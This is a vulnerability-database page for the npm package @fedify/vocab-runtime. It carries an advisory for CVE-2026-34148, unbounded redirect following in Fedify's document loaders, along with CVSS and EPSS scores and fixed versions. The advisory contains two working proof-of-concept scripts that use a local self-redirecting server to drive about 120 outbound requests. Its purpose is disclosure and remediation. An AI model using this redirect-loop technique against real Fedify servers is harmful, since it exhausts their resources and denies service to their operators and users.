Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40fedify/vocab-runtime@2.0.0-dev.166
Typenpm
Namespace@fedify
Namevocab-runtime
Version2.0.0-dev.166
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version2.0.8
Latest_non_vulnerable_version2.1.1
Affected_by_vulnerabilities
0
url VCID-xtfy-zmxz-d3dq
vulnerability_id VCID-xtfy-zmxz-d3dq
summary
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
### Summary

`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.

### Details

Fedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.

In affected versions:
- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header
- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects
- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops

As a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.

I confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.

Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.

### PoC

Minimal direct reproduction with the package:

1. Install `@fedify/fedify@1.9.2`.
2. Save and run the following script:

```js
import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";

const port = 45679;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const loader = getDocumentLoader({ allowPrivateAddress: true });
  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}
```

3. Observe output similar to:

```
{ count: 120 }
```

This shows the loader followed 119 self-redirects before the first non-redirect response.

The authenticated loader used for signed requests shows the same behavior:

```
import http from "node:http";
import {
  generateCryptoKeyPair,
  getAuthenticatedDocumentLoader,
} from "@fedify/fedify";

const port = 45680;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const { privateKey } = await generateCryptoKeyPair();
  const loader = getAuthenticatedDocumentLoader(
    {
      privateKey,
      keyId: new URL("https://example.com/users/index#main-key"),
    },
    { allowPrivateAddress: true },
  );

  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}
```

### Impact

This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.

### Misc Notes

This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. **The original reporter should be credited for the discovery**.

In case you accept this advisory please coordinate time of disclosure and credit with us
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34148
reference_id
reference_type
scores
0
value 0.00086
scoring_system epss
scoring_elements 0.24885
published_at 2026-06-06T12:55:00Z
1
value 0.00086
scoring_system epss
scoring_elements 0.24769
published_at 2026-06-08T12:55:00Z
2
value 0.00086
scoring_system epss
scoring_elements 0.24827
published_at 2026-06-07T12:55:00Z
3
value 0.00086
scoring_system epss
scoring_elements 0.24896
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34148
1
reference_url https://github.com/fedify-dev/fedify
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/fedify-dev/fedify
2
reference_url https://github.com/fedify-dev/fedify/releases/tag/1.10.5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-06T15:35:17Z/
url https://github.com/fedify-dev/fedify/releases/tag/1.10.5
3
reference_url https://github.com/fedify-dev/fedify/releases/tag/1.9.6
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-06T15:35:17Z/
url https://github.com/fedify-dev/fedify/releases/tag/1.9.6
4
reference_url https://github.com/fedify-dev/fedify/releases/tag/2.0.8
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-06T15:35:17Z/
url https://github.com/fedify-dev/fedify/releases/tag/2.0.8
5
reference_url https://github.com/fedify-dev/fedify/releases/tag/2.1.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-06T15:35:17Z/
url https://github.com/fedify-dev/fedify/releases/tag/2.1.1
6
reference_url https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-06T15:35:17Z/
url https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34148
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34148
8
reference_url https://github.com/advisories/GHSA-gm9m-gwc4-hwgp
reference_id GHSA-gm9m-gwc4-hwgp
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gm9m-gwc4-hwgp
fixed_packages
0
url pkg:npm/%40fedify/vocab-runtime@2.0.8
purl pkg:npm/%40fedify/vocab-runtime@2.0.8
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540fedify/vocab-runtime@2.0.8
1
url pkg:npm/%40fedify/vocab-runtime@2.1.1
purl pkg:npm/%40fedify/vocab-runtime@2.1.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540fedify/vocab-runtime@2.1.1
aliases CVE-2026-34148, GHSA-gm9m-gwc4-hwgp
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xtfy-zmxz-d3dq
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540fedify/vocab-runtime@2.0.0-dev.166